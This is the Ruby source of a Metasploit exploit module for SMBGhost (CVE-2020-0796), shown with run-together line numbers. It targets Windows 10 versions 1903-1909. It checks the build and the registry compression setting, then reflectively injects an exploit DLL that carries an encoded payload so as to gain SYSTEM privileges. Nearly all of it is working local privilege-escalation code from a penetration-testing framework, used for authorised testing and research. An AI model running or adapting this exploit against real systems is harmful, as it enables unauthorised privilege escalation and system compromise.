Path: blob/master/modules/exploits/windows/local/cve_2020_0796_smbghost.rb
33619 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Post::File9include Msf::Post::Windows::Priv10include Msf::Post::Windows::Process11include Msf::Post::Windows::ReflectiveDLLInjection12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'SMBv3 Compression Buffer Overflow',20'Description' => %q{21A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to22execute code on a vulnerable server. This local exploit implementation leverages this flaw to elevate itself23before injecting a payload into winlogon.exe.24},25'License' => MSF_LICENSE,26'Author' => [27'Daniel García Gutiérrez', # original LPE exploit28'Manuel Blanco Parajón', # original LPE exploit29'Spencer McIntyre' # metasploit module30],31'Platform' => 'win',32'SessionTypes' => [ 'meterpreter' ],33'DefaultOptions' => {34'EXITFUNC' => 'thread'35},36'Targets' => [37# [ 'Windows 10 x86', { 'Arch' => ARCH_X86 } ],38[ 'Windows 10 v1903-1909 x64', { 'Arch' => ARCH_X64 } ]39],40'Payload' => {41'DisableNops' => true42},43'References' => [44[ 'CVE', '2020-0796' ],45[ 'URL', 'https://github.com/danigargu/CVE-2020-0796' ],46[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005' ]47],48'DisclosureDate' => '2020-03-13',49'DefaultTarget' => 0,50'Notes' => {51'AKA' => [ 'SMBGhost', 'CoronaBlue' ],52'Stability' => [ CRASH_OS_RESTARTS, ],53'SideEffects' => [ IOC_IN_LOGS ],54'Reliability' => [ REPEATABLE_SESSION, ],55'RelatedModules' => [ 'exploit/windows/smb/cve_2020_0796_smbghost' ]56}57}58)59)60end6162def check63if session.platform != 'windows'64# Non-Windows systems are definitely not affected.65return Exploit::CheckCode::Safe66end6768version = get_version_info69vprint_status("Windows Build Number = #{version.build_number}")70# see https://docs.microsoft.com/en-us/windows/release-information/71unless version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_1909)72print_error('The exploit only supports Windows 10 versions 1903 - 1909')73return CheckCode::Safe74end7576disable_compression = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters', 'DisableCompression')77if !disable_compression.nil? && disable_compression != 078print_error('The exploit requires compression to be enabled')79return CheckCode::Safe80end8182CheckCode::Appears83end8485def exploit86if is_system?87fail_with(Failure::None, 'Session is already elevated')88end8990if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X8691fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')92elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X8693fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')94elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X6495fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')96end9798print_status('Reflectively injecting the exploit DLL and executing it...')99100# invoke the exploit, passing in the address of the payload that101# we want invoked on successful exploitation.102encoded_payload = payload.encoded103execute_dll(104::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0796', 'CVE-2020-0796.x64.dll'),105[encoded_payload.length].pack('I<') + encoded_payload106)107108print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')109end110end111112113